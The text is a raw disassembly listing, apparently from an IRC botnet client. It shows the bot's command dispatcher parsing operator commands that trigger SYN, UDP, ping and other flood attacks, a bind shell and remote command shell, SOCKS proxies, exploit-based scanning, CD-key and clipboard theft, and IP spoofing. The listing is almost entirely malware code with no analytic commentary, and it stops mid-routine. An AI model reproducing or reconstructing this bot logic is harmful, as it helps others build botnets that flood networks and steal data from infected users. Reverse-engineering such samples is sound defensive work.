CODE XREF: sub_401CC7+6DBj push dword ptr [ebp+esi+Args] ; Str2 push offset aChat ; "CHAT" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40274F cmp [ebp+var_A8], ebx jz loc_402728 push 1Bh call sub_40B99E test eax, eax pop ecx jnz loc_402717 push [ebp+esi+Str2] lea eax, [ebp+var_2AA8] push offset aS_1 ; "%s" push eax ; Dest call _sprintf push [ebp+esi+var_80] ; Str call _atoi mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C0] push 7Fh ; Count push eax ; Source lea eax, [ebp+var_2990] push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C0] push eax lea eax, [ebp+Dst] push offset asc_43FE20 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Bh ; int push eax ; Source call sub_40B756 add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset sub_4167BF push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_402706 loc_4026F0: ; CODE XREF: sub_401CC7+A3Dj cmp [ebp+var_2900], ebx jnz loc_408637 push 32h call ds:dword_4F534C ; Sleep jmp short loc_4026F0 ; --------------------------------------------------------------------------- loc_402706: ; CODE XREF: sub_401CC7+A27j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_43FE40 jmp loc_408628 ; --------------------------------------------------------------------------- loc_402717: ; CODE XREF: sub_401CC7+96Aj lea eax, [ebp+var_C0] push eax push offset unk_43FE78 jmp loc_408628 ; --------------------------------------------------------------------------- loc_402728: ; CODE XREF: sub_401CC7+95Aj lea eax, [ebp+var_C0] push eax push offset unk_43FEA8 jmp loc_408628 ; --------------------------------------------------------------------------- loc_402739: ; CODE XREF: sub_401CC7+6C0j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_43F094 mov [edi], ecx jnz loc_402085 loc_40274F: ; CODE XREF: sub_401CC7+94Ej mov edi, [edi] push edi ; Str2 push offset aLogin ; "login" mov [ebp+arg_8], edi call _strcmp pop ecx test eax, eax pop ecx jz loc_409B1E push edi ; Str2 push offset asc_43FEE4 ; "l" call _strcmp pop ecx test eax, eax pop ecx jz loc_409B1E cmp [ebp+var_A8], ebx jnz short loc_4027A0 push dword ptr [ebp+Args] ; Str2 push offset a332_3 ; "332" call _strcmp pop ecx test eax, eax pop ecx jnz loc_409B16 loc_4027A0: ; CODE XREF: sub_401CC7+ABDj cmp [ebp+arg_28], ebx jnz loc_409B16 xor edi, edi cmp dword_43F494, ebx jle loc_402955 mov [ebp+arg_20], offset dword_455298 loc_4027BE: ; CODE XREF: sub_401CC7+B16j push [ebp+arg_8] ; Str2 push [ebp+arg_20] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_4027E4 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_43F494 jl short loc_4027BE jmp loc_402955 ; --------------------------------------------------------------------------- loc_4027E4: ; CODE XREF: sub_401CC7+B06j push offset asc_440034 ; " :" push [ebp+Src] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz loc_402085 mov cl, byte_43F094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_43F094 mov [eax+3], cl lea ecx, dword_4552B0[edi] push 9Fh ; Count add eax, 4 push ecx ; Source push eax ; Dest call _strncpy lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_8], 0Fh mov [ebp+arg_20], eax loc_402839: ; CODE XREF: sub_401CC7+C23j push [ebp+arg_8] lea eax, [ebp+SubStr] push offset aD ; "$%d-" push eax ; Dest call _sprintf lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Str call _strstr add esp, 14h test eax, eax jz short loc_4028A5 mov eax, [ebp+arg_20] cmp [eax], ebx jz short loc_4028A5 lea eax, dword_455298[edi] push eax ; Str call _strlen add [ebp+var_C], eax pop ecx jz short loc_4028E0 mov eax, [ebp+arg_20] push dword ptr [eax-4] ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_4028E0 push eax ; Source lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_418C07 add esp, 0Ch jmp short loc_4028E0 ; --------------------------------------------------------------------------- loc_4028A5: ; CODE XREF: sub_401CC7+B9Aj ; sub_401CC7+BA1j mov eax, [ebp+arg_20] cmp [eax], ebx jnz short loc_4028E0 lea eax, [ebp+SubStr] push 2 ; Count push eax ; Source lea eax, [ebp+var_94] push eax ; Dest call _strncpy lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax ; Source lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_418C07 add esp, 18h loc_4028E0: ; CODE XREF: sub_401CC7+BB3j ; sub_401CC7+BC7j ... dec [ebp+arg_8] sub [ebp+arg_20], 4 cmp [ebp+arg_8], ebx jg loc_402839 lea eax, [ebp+esi+var_50] mov [ebp+arg_8], 10h mov edi, eax loc_4028FD: ; CODE XREF: sub_401CC7+C82j push [ebp+arg_8] lea eax, [ebp+SubStr] push offset aD_0 ; "$%d" push eax ; Dest call _sprintf lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Str call _strstr add esp, 14h test eax, eax jz short loc_402940 mov eax, [edi] cmp eax, ebx jz short loc_402940 push eax ; Source lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_418C07 add esp, 0Ch loc_402940: ; CODE XREF: sub_401CC7+C5Ej ; sub_401CC7+C64j dec [ebp+arg_8] sub edi, 4 cmp [ebp+arg_8], ebx jg short loc_4028FD mov [ebp+var_2C4], 1 loc_402955: ; CODE XREF: sub_401CC7+AEAj ; sub_401CC7+B18j mov eax, [ebp+esi+var_90] mov al, [eax] cmp al, byte_43F094 jz short loc_402972 cmp [ebp+var_2C4], ebx jz loc_402B67 loc_402972: ; CODE XREF: sub_401CC7+C9Dj push [ebp+Source] ; Source mov edi, [ebp+Src] push offset aMe ; "$me" push edi ; Src call sub_418C07 lea eax, [ebp+var_C0] push eax ; Source push offset aUser ; "$user" push edi ; Src call sub_418C07 push [ebp+Format] ; Source push offset aChan ; "$chan" push edi ; Src call sub_418C07 push ebx ; Str1 push ebx ; int lea eax, [ebp+SubStr] push 2 ; int push eax ; Dest call sub_40B44F push eax ; Source push offset aRndnick ; "$rndnick" push edi ; Src call sub_418C07 add esp, 40h push [ebp+arg_14] ; Source push offset aServer ; "$server" push edi ; Src call sub_418C07 mov edi, offset aChr ; "$chr(" push edi ; SubStr push [ebp+Src] ; Str call _strstr add esp, 14h loc_4029E4: ; CODE XREF: sub_401CC7+E19j test eax, eax jz loc_402AE5 push offset aChr_0 ; "$chr(" push [ebp+Src] ; Str call _strstr mov [ebp+Source], eax add eax, 5 push 4 ; Count push eax ; Source lea eax, [ebp+SubStr] push eax ; Dest call _strncpy lea eax, [ebp+SubStr] push offset asc_44007C ; ")" push eax ; Str call _strtok add esp, 1Ch cmp [ebp+SubStr], 30h jl short loc_402A34 cmp [ebp+SubStr], 39h jle short loc_402A4A loc_402A34: ; CODE XREF: sub_401CC7+D62j push 3 ; Count lea eax, [ebp+SubStr] push offset a63 ; "63" push eax ; Dest call _strncpy add esp, 0Ch loc_402A4A: ; CODE XREF: sub_401CC7+D6Bj lea eax, [ebp+SubStr] push eax ; Str call _atoi test eax, eax pop ecx jle short loc_402A70 lea eax, [ebp+SubStr] push eax ; Str call _atoi pop ecx mov [ebp+var_94], al jmp short loc_402A84 ; --------------------------------------------------------------------------- loc_402A70: ; CODE XREF: sub_401CC7+D92j call _rand push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_402A84: ; CODE XREF: sub_401CC7+DA7j lea eax, [ebp+SubStr] mov [ebp+var_93], bl push eax ; Str call _strlen mov [ebp+arg_8], eax push 0Ch ; Size lea eax, [ebp+SubStr] push ebx ; Val push eax ; Dst call _memset mov eax, [ebp+arg_8] add eax, 6 push eax ; Count lea eax, [ebp+SubStr] push [ebp+Source] ; Source push eax ; Dest call _strncpy lea eax, [ebp+var_94] push eax ; Source lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_418C07 push edi ; SubStr push [ebp+Src] ; Str call _strstr add esp, 30h jmp loc_4029E4 ; --------------------------------------------------------------------------- loc_402AE5: ; CODE XREF: sub_401CC7+D1Fj mov edi, 1FFh lea eax, [ebp+Str] push edi ; Count push [ebp+Src] ; Source push eax ; Dest call _strncpy lea eax, [ebp+Str] push edi ; Count push eax ; Source lea eax, [ebp+var_4AF0] push eax ; Dest call _strncpy lea eax, [ebp+var_4AF0] push offset asc_440084 ; " " push eax ; Str call _strtok add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+Args] mov [ebp+Source], 1Fh loc_402B35: ; CODE XREF: sub_401CC7+E83j push offset asc_440088 ; " " push ebx ; Str call _strtok mov [edi], eax pop ecx add edi, 4 dec [ebp+Source] pop ecx jnz short loc_402B35 mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_402085 add ecx, 3 mov [eax], ecx loc_402B67: ; CODE XREF: sub_401CC7+CA5j mov edi, [ebp+esi+var_90] push edi ; Str2 push offset aRndnick_0 ; "rndnick" mov [ebp+arg_8], edi call _strcmp pop ecx test eax, eax pop ecx jz loc_409AC4 push edi ; Str2 push offset aRn ; "rn" call _strcmp pop ecx test eax, eax pop ecx jz loc_409AC4 push edi ; Str2 push offset aDie ; "die" call _strcmp pop ecx test eax, eax pop ecx jz loc_404BE7 push edi ; Str2 push offset aD_1 ; "d" call _strcmp pop ecx test eax, eax pop ecx jz loc_404BE7 push edi ; Str2 push offset aLogout ; "logout" call _strcmp pop ecx test eax, eax pop ecx jz loc_404B3F push edi ; Str2 push offset aLo ; "lo" call _strcmp pop ecx test eax, eax pop ecx jz loc_404B3F push edi ; Str2 push offset aVersion ; "version" call _strcmp pop ecx test eax, eax pop ecx jz loc_404B30 push edi ; Str2 push offset aVer ; "ver" call _strcmp pop ecx test eax, eax pop ecx jz loc_404B30 push edi ; Str2 push offset aDedication ; "dedication" call _strcmp pop ecx test eax, eax pop ecx jz loc_404B26 push edi ; Str2 push offset aDed ; "ded" call _strcmp pop ecx test eax, eax pop ecx jz loc_404B26 push edi ; Str2 push offset aSpeedtest ; "speedtest" call _strcmp pop ecx test eax, eax pop ecx jz loc_404B0D push edi ; Str2 push offset aSt ; "st" call _strcmp pop ecx test eax, eax pop ecx jz loc_404B0D push edi ; Str2 push offset aSecure ; "secure" call _strcmp pop ecx test eax, eax pop ecx jz loc_404A0F push edi ; Str2 push offset aSec ; "sec" call _strcmp pop ecx test eax, eax pop ecx jz loc_404A0F push edi ; Str2 push offset aUnsecure ; "unsecure" call _strcmp pop ecx test eax, eax pop ecx jz loc_404A0F push edi ; Str2 push offset aUnsec ; "unsec" call _strcmp pop ecx test eax, eax pop ecx jz loc_404A0F push edi ; Str2 push offset aBindshell ; "bindshell" call _strcmp pop ecx test eax, eax pop ecx jz loc_404909 push edi ; Str2 push offset aBd ; "bd" call _strcmp pop ecx test eax, eax pop ecx jz loc_404909 push edi ; Str2 push offset aBindshellstop ; "bindshellstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402D2B push dword ptr [ebp+esi+Args] ; Str push 6 ; int push offset aServer_0 ; "Server" push offset dword_440394 ; int loc_402D0F: ; CODE XREF: sub_401CC7+10B2j ; sub_401CC7+10D8j ... push [ebp+var_8] ; int push [ebp+var_4] ; int push [ebp+Format] ; int push [ebp+arg_4] ; int call sub_40B9E4 add esp, 20h jmp loc_402085 ; --------------------------------------------------------------------------- loc_402D2B: ; CODE XREF: sub_401CC7+1033j push edi ; Str2 push offset aSocks4 ; "socks4" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047E7 push edi ; Str2 push offset aS4 ; "s4" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047E7 push edi ; Str2 push offset aSocks4stop ; "socks4stop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402D7B push dword ptr [ebp+esi+Args] push 19h push offset aServer_1 ; "Server" push offset dword_44042C jmp short loc_402D0F ; --------------------------------------------------------------------------- loc_402D7B: ; CODE XREF: sub_401CC7+109Dj push edi ; Str2 push offset aRloginstop ; "rloginstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402DA4 push dword ptr [ebp+esi+Args] push 9 push offset aServer_2 ; "Server" push offset dword_440450 jmp loc_402D0F ; --------------------------------------------------------------------------- loc_402DA4: ; CODE XREF: sub_401CC7+10C3j push edi ; Str2 push offset aHttpstop ; "httpstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402DCD push dword ptr [ebp+esi+Args] push 3 push offset aServer_3 ; "Server" push offset dword_440474 jmp loc_402D0F ; --------------------------------------------------------------------------- loc_402DCD: ; CODE XREF: sub_401CC7+10ECj push edi ; Str2 push offset aLogstop ; "logstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402DF6 push dword ptr [ebp+esi+Args] push 25h push offset aLogList ; "Log list" push offset dword_440498 jmp loc_402D0F ; --------------------------------------------------------------------------- loc_402DF6: ; CODE XREF: sub_401CC7+1115j push edi ; Str2 push offset aRedirectstop ; "redirectstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402E1F push dword ptr [ebp+esi+Args] push 18h push offset aTcpRedirect ; "TCP redirect" push offset dword_4404C4 jmp loc_402D0F ; --------------------------------------------------------------------------- loc_402E1F: ; CODE XREF: sub_401CC7+113Ej push edi ; Str2 push offset aDdos_stop ; "ddos.stop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402E48 push dword ptr [ebp+esi+Args] push 0Dh push offset aDdosFlood ; "DDoS flood" push offset dword_4404EC jmp loc_402D0F ; --------------------------------------------------------------------------- loc_402E48: ; CODE XREF: sub_401CC7+1167j push edi ; Str2 push offset aSynstop ; "synstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402E71 push dword ptr [ebp+esi+Args] push 0Eh push offset aSynFlood ; "Syn flood" push offset dword_44050C jmp loc_402D0F ; --------------------------------------------------------------------------- loc_402E71: ; CODE XREF: sub_401CC7+1190j push edi ; Str2 push offset aSkysynstop ; "skysynstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402E9A push dword ptr [ebp+esi+Args] push 10h push offset aSkysynFlood ; "SkySyn flood" push offset dword_440534 jmp loc_402D0F ; --------------------------------------------------------------------------- loc_402E9A: ; CODE XREF: sub_401CC7+11B9j push edi ; Str2 push offset aTarga3stop ; "targa3stop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402EC3 push dword ptr [ebp+esi+Args] push 11h push offset aTarga3Flood ; "Targa3 flood" push offset dword_440560 jmp loc_402D0F ; --------------------------------------------------------------------------- loc_402EC3: ; CODE XREF: sub_401CC7+11E2j push edi ; Str2 push offset aWonkstop ; "wonkstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402EEC push dword ptr [ebp+esi+Args] push 12h push offset aWonkFlood ; "Wonk flood" push offset dword_440588 jmp loc_402D0F ; --------------------------------------------------------------------------- loc_402EEC: ; CODE XREF: sub_401CC7+120Bj push edi ; Str2 push offset aPacketstop ; "packetstop" call _strcmp pop ecx test eax, eax pop ecx jnz loc_403042 mov esi, dword ptr [ebp+esi+Args] mov edi, [ebp+arg_4] push esi ; Str push 0Dh ; int push offset aDdosFlood_0 ; "DDoS flood" push offset dword_4405AC ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B9E4 push esi ; Str push 0Eh ; int push offset aSynFlood_0 ; "Syn flood" push offset dword_4405C4 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B9E4 add esp, 40h push esi ; Str push 17h ; int push offset aUdpFlood ; "UDP flood" push offset dword_4405DC ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B9E4 push esi ; Str push 16h ; int push offset aPingFlood ; "Ping flood" push offset dword_4405F4 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B9E4 add esp, 40h push esi ; Str push 11h ; int push offset aTarga3Flood_0 ; "Targa3 flood" push offset dword_440610 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B9E4 push esi ; Str push 12h ; int push offset aWonkFlood_0 ; "Wonk flood" push offset dword_44062C ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B9E4 add esp, 40h push esi ; Str push 0Fh ; int push offset aTsunamiFlood ; "Tsunami flood" push offset dword_440648 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B9E4 push esi ; Str push 13h ; int push offset aWisdomAttack ; "Wisdom attack" push offset dword_440668 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B9E4 add esp, 40h push esi ; Str push 10h ; int push offset aSkysynFlood_0 ; "SkySyn flood" push offset dword_440688 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B9E4 push ebx ; int push [ebp+var_4] ; int push offset unk_440698 ; int push [ebp+Format] ; Str push edi ; int call sub_409D34 add esp, 34h jmp loc_402085 ; --------------------------------------------------------------------------- loc_403042: ; CODE XREF: sub_401CC7+1234j push edi ; Str2 push offset aTsunamistop ; "tsunamistop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40306B push dword ptr [ebp+esi+Args] push 0Fh push offset aTsunamiFlood_0 ; "Tsunami flood" push offset dword_4406E8 jmp loc_402D0F ; --------------------------------------------------------------------------- loc_40306B: ; CODE XREF: sub_401CC7+138Aj push edi ; Str2 push offset aWisdomstop ; "wisdomstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_403094 push dword ptr [ebp+esi+Args] push 13h push offset aWisdomAttack_0 ; "Wisdom attack" push offset dword_440714 jmp loc_402D0F ; --------------------------------------------------------------------------- loc_403094: ; CODE XREF: sub_401CC7+13B3j push edi ; Str2 push offset aUdpstop ; "udpstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4030BD push dword ptr [ebp+esi+Args] push 17h push offset aUdpFlood_0 ; "UDP flood" push offset dword_440738 jmp loc_402D0F ; --------------------------------------------------------------------------- loc_4030BD: ; CODE XREF: sub_401CC7+13DCj push edi ; Str2 push offset aPingstop ; "pingstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4030E6 push dword ptr [ebp+esi+Args] push 16h push offset aPingFlood_0 ; "Ping flood" push offset dword_44075C jmp loc_402D0F ; --------------------------------------------------------------------------- loc_4030E6: ; CODE XREF: sub_401CC7+1405j push edi ; Str2 push offset aTftpstop ; "tftpstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40310F push dword ptr [ebp+esi+Args] push 5 push offset aServer_4 ; "Server" push offset dword_44077C jmp loc_402D0F ; --------------------------------------------------------------------------- loc_40310F: ; CODE XREF: sub_401CC7+142Ej push edi ; Str2 push offset aFindfilestop ; "findfilestop" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047CF push edi ; Str2 push offset aFfstop ; "ffstop" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047CF push edi ; Str2 push offset aProcsstop ; "procsstop" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047B7 push edi ; Str2 push offset aPsstop ; "psstop" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047B7 push edi ; Str2 push offset aClonestop ; "clonestop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40318C push dword ptr [ebp+esi+Args] push 1Fh push offset aClone ; "Clone" push offset dword_440808 jmp loc_402D0F ; --------------------------------------------------------------------------- loc_40318C: ; CODE XREF: sub_401CC7+14ABj push edi ; Str2 push offset aSecurestop ; "securestop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4031B5 push dword ptr [ebp+esi+Args] push 22h push offset aSecure_0 ; "Secure" push offset dword_44082C jmp loc_402D0F ; --------------------------------------------------------------------------- loc_4031B5: ; CODE XREF: sub_401CC7+14D4j push edi ; Str2 push offset aScanstop ; "scanstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4031DE push dword ptr [ebp+esi+Args] push 0Bh push offset aScan ; "Scan" push offset dword_440850 jmp loc_402D0F ; --------------------------------------------------------------------------- loc_4031DE: ; CODE XREF: sub_401CC7+14FDj push edi ; Str2 push offset aScanstats ; "scanstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047A1 push edi ; Str2 push offset aStats ; "stats" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047A1 push edi ; Str2 push offset aTransferstats ; "transferstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_40478B push edi ; Str2 push offset aTrstats ; "trstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_40478B push edi ; Str2 push offset aConnectbacksta ; "connectbackstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_404775 push edi ; Str2 push offset aCbstats ; "cbstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_404775 push edi ; Str2 push offset aExploitlist ; "exploitlist" call _strcmp pop ecx test eax, eax pop ecx jz loc_40475F push edi ; Str2 push offset aExplist ; "explist" call _strcmp pop ecx test eax, eax pop ecx jz loc_40475F push edi ; Str2 push offset aReconnect ; "reconnect" call _strcmp pop ecx test eax, eax pop ecx jz loc_404740 push edi ; Str2 push offset aR ; "r" call _strcmp pop ecx test eax, eax pop ecx jz loc_404740 push edi ; Str2 push offset aDisconnect ; "disconnect" call _strcmp pop ecx test eax, eax pop ecx jz loc_40471E push edi ; Str2 push offset aDc ; "dc" call _strcmp pop ecx test eax, eax pop ecx jz loc_40471E push edi ; Str2 push offset aQuit_0 ; "quit" call _strcmp pop ecx test eax, eax pop ecx jz loc_4046D6 push edi ; Str2 push offset aQ ; "q" call _strcmp pop ecx test eax, eax pop ecx jz loc_4046D6 push edi ; Str2 push offset aStatus ; "status" call _strcmp pop ecx test eax, eax pop ecx jz loc_4046C2 push edi ; Str2 push offset aS_2 ; "s" call _strcmp pop ecx test eax, eax pop ecx jz loc_4046C2 push edi ; Str2 push offset aId ; "id" call _strcmp pop ecx test eax, eax pop ecx jz loc_40468B push edi ; Str2 push offset aI_0 ; "i" call _strcmp pop ecx test eax, eax pop ecx jz loc_40468B push edi ; Str2 push offset aReboot ; "reboot" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4033AA call sub_4190D4 test eax, eax mov eax, offset asc_4409C8 ; "-" jnz short loc_40337C mov eax, offset unk_4409E8 loc_40337C: ; CODE XREF: sub_401CC7+16AEj push eax ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 1Ch jmp loc_408637 ; --------------------------------------------------------------------------- loc_4033AA: ; CODE XREF: sub_401CC7+16A0j push edi ; Str2 push offset aThreads ; "threads" call _strcmp pop ecx test eax, eax pop ecx jz loc_4045AC push edi ; Str2 push offset aT ; "t" call _strcmp pop ecx test eax, eax pop ecx jz loc_4045AC push edi ; Str2 push offset aAliases ; "aliases" call _strcmp pop ecx test eax, eax pop ecx jz loc_404589 push edi ; Str2 push offset aAl ; "al" call _strcmp pop ecx test eax, eax pop ecx jz loc_404589 push edi ; Str2 push offset aLog ; "log" call _strcmp pop ecx test eax, eax pop ecx jz loc_404496 push edi ; Str2 push offset aLg ; "lg" call _strcmp pop ecx test eax, eax pop ecx jz loc_404496 push edi ; Str2 push offset aClearlog ; "clearlog" call _strcmp pop ecx test eax, eax pop ecx jz loc_40447D push edi ; Str2 push offset aClg ; "clg" call _strcmp pop ecx test eax, eax pop ecx jz loc_40447D push edi ; Str2 push offset aNetinfo ; "netinfo" call _strcmp pop ecx test eax, eax pop ecx jz loc_404443 push edi ; Str2 push offset aNi ; "ni" call _strcmp pop ecx test eax, eax pop ecx jz loc_404443 push edi ; Str2 push offset aSysinfo ; "sysinfo" call _strcmp pop ecx test eax, eax pop ecx jz loc_404418 push edi ; Str2 push offset aSi ; "si" call _strcmp pop ecx test eax, eax pop ecx jz loc_404418 push edi ; Str2 push offset aRemove ; "remove" call _strcmp pop ecx test eax, eax pop ecx jz loc_4043DE push edi ; Str2 push offset aRm ; "rm" call _strcmp pop ecx test eax, eax pop ecx jz loc_4043DE push edi ; Str2 push offset aProcs ; "procs" call _strcmp pop ecx test eax, eax pop ecx jz loc_4042BB push edi ; Str2 push offset aPs ; "ps" call _strcmp pop ecx test eax, eax pop ecx jz loc_4042BB push edi ; Str2 push offset aGetcdkeys ; "getcdkeys" call _strcmp pop ecx test eax, eax pop ecx jz loc_40429D push edi ; Str2 push offset aKey ; "key" call _strcmp pop ecx test eax, eax pop ecx jz loc_40429D push edi ; Str2 push offset aUptime ; "uptime" call _strcmp pop ecx test eax, eax pop ecx jz loc_404215 push edi ; Str2 push offset aUp ; "up" call _strcmp pop ecx test eax, eax pop ecx jz loc_404215 push edi ; Str2 push offset aDriveinfo ; "driveinfo" call _strcmp pop ecx test eax, eax pop ecx jz loc_4041F8 push edi ; Str2 push offset aDrv ; "drv" call _strcmp pop ecx test eax, eax pop ecx jz loc_4041F8 push edi ; Str2 push offset aTestdlls ; "testdlls" call _strcmp pop ecx test eax, eax pop ecx jz loc_4041DF push edi ; Str2 push offset aDll ; "dll" call _strcmp pop ecx test eax, eax pop ecx jz loc_4041DF push edi ; Str2 push offset aOpencmd ; "opencmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_4041A0 push edi ; Str2 push offset aOcmd ; "ocmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_4041A0 push edi ; Str2 push offset aCmdstop ; "cmdstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4035F5 push dword ptr [ebp+esi+Args] push 0Ah push offset aRemoteShell ; "Remote shell" push offset dword_440D20 jmp loc_402D0F ; --------------------------------------------------------------------------- loc_4035F5: ; CODE XREF: sub_401CC7+1914j push edi ; Str2 push offset aWho ; "who" call _strcmp pop ecx test eax, eax pop ecx jnz loc_403712 cmp [ebp+var_8], ebx jnz short loc_403629 push ebx ; int push [ebp+var_4] ; int push offset dword_440D30 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 14h loc_403629: ; CODE XREF: sub_401CC7+1946j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_403637 ; --------------------------------------------------------------------------- loc_403634: ; CODE XREF: sub_401CC7+19BCj mov eax, [ebp+arg_18] loc_403637: ; CODE XREF: sub_401CC7+196Bj cmp [eax], bl jz short loc_40363E inc eax jmp short loc_403643 ; --------------------------------------------------------------------------- loc_40363E: ; CODE XREF: sub_401CC7+1972j mov eax, offset aEmpty ; "<Empty>" loc_403643: ; CODE XREF: sub_401CC7+1975j push eax lea eax, [ebp+Dst] push [ebp+arg_20] push offset aD_S ; "%d. %s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_403634 push offset unk_440D54 call sub_415C3F pop ecx loc_403690: ; CODE XREF: sub_401CC7+1C4Bj ; sub_401CC7+2F34j mov eax, dword ptr [ebp+esi+Args] cmp eax, ebx mov [ebp+Source], eax jz loc_402085 push edi ; Str2 push offset aSpoof ; "spoof" call _strcmp pop ecx test eax, eax pop ecx jnz loc_404CE8 mov esi, [ebp+Source] push offset Str2 ; "off" push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_404C0D lea eax, [ebp+Dst] push offset asc_441298 ; "-" push eax ; Dest mov dword_4E68F0, ebx call _sprintf pop ecx pop ecx loc_4036E8: ; CODE XREF: sub_401CC7+301Cj cmp [ebp+var_8], ebx jnz loc_409B16 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 loc_40370A: ; CODE XREF: sub_401CC7+71C1j add esp, 14h jmp loc_409B16 ; --------------------------------------------------------------------------- loc_403712: ; CODE XREF: sub_401CC7+193Dj push edi ; Str2 push offset aGetclip ; "getclip" call _strcmp pop ecx test eax, eax pop ecx jz loc_40415F push edi ; Str2 push offset aGc ; "gc" call _strcmp pop ecx test eax, eax pop ecx jz loc_40415F push edi ; Str2 push offset aFlusharp ; "flusharp" call _strcmp pop ecx test eax, eax pop ecx jz loc_404148 push edi ; Str2 push offset aFarp ; "farp" call _strcmp pop ecx test eax, eax pop ecx jz loc_404148 push edi ; Str2 push offset aFlushdns ; "flushdns" call _strcmp pop ecx test eax, eax pop ecx jz loc_404110 push edi ; Str2 push offset aFdns ; "fdns" call _strcmp pop ecx test eax, eax pop ecx jz loc_404110 push edi ; Str2 push offset aCurrentip ; "currentip" call _strcmp pop ecx test eax, eax pop ecx jz loc_4040D6 push edi ; Str2 push offset aCip ; "cip" call _strcmp pop ecx test eax, eax pop ecx jz loc_4040D6 push edi ; Str2 push offset aRloginserver ; "rloginserver" call _strcmp pop ecx test eax, eax pop ecx jz loc_403F9B push edi ; Str2 push offset aRlogin ; "rlogin" call _strcmp pop ecx test eax, eax pop ecx jz loc_403F9B push edi ; Str2 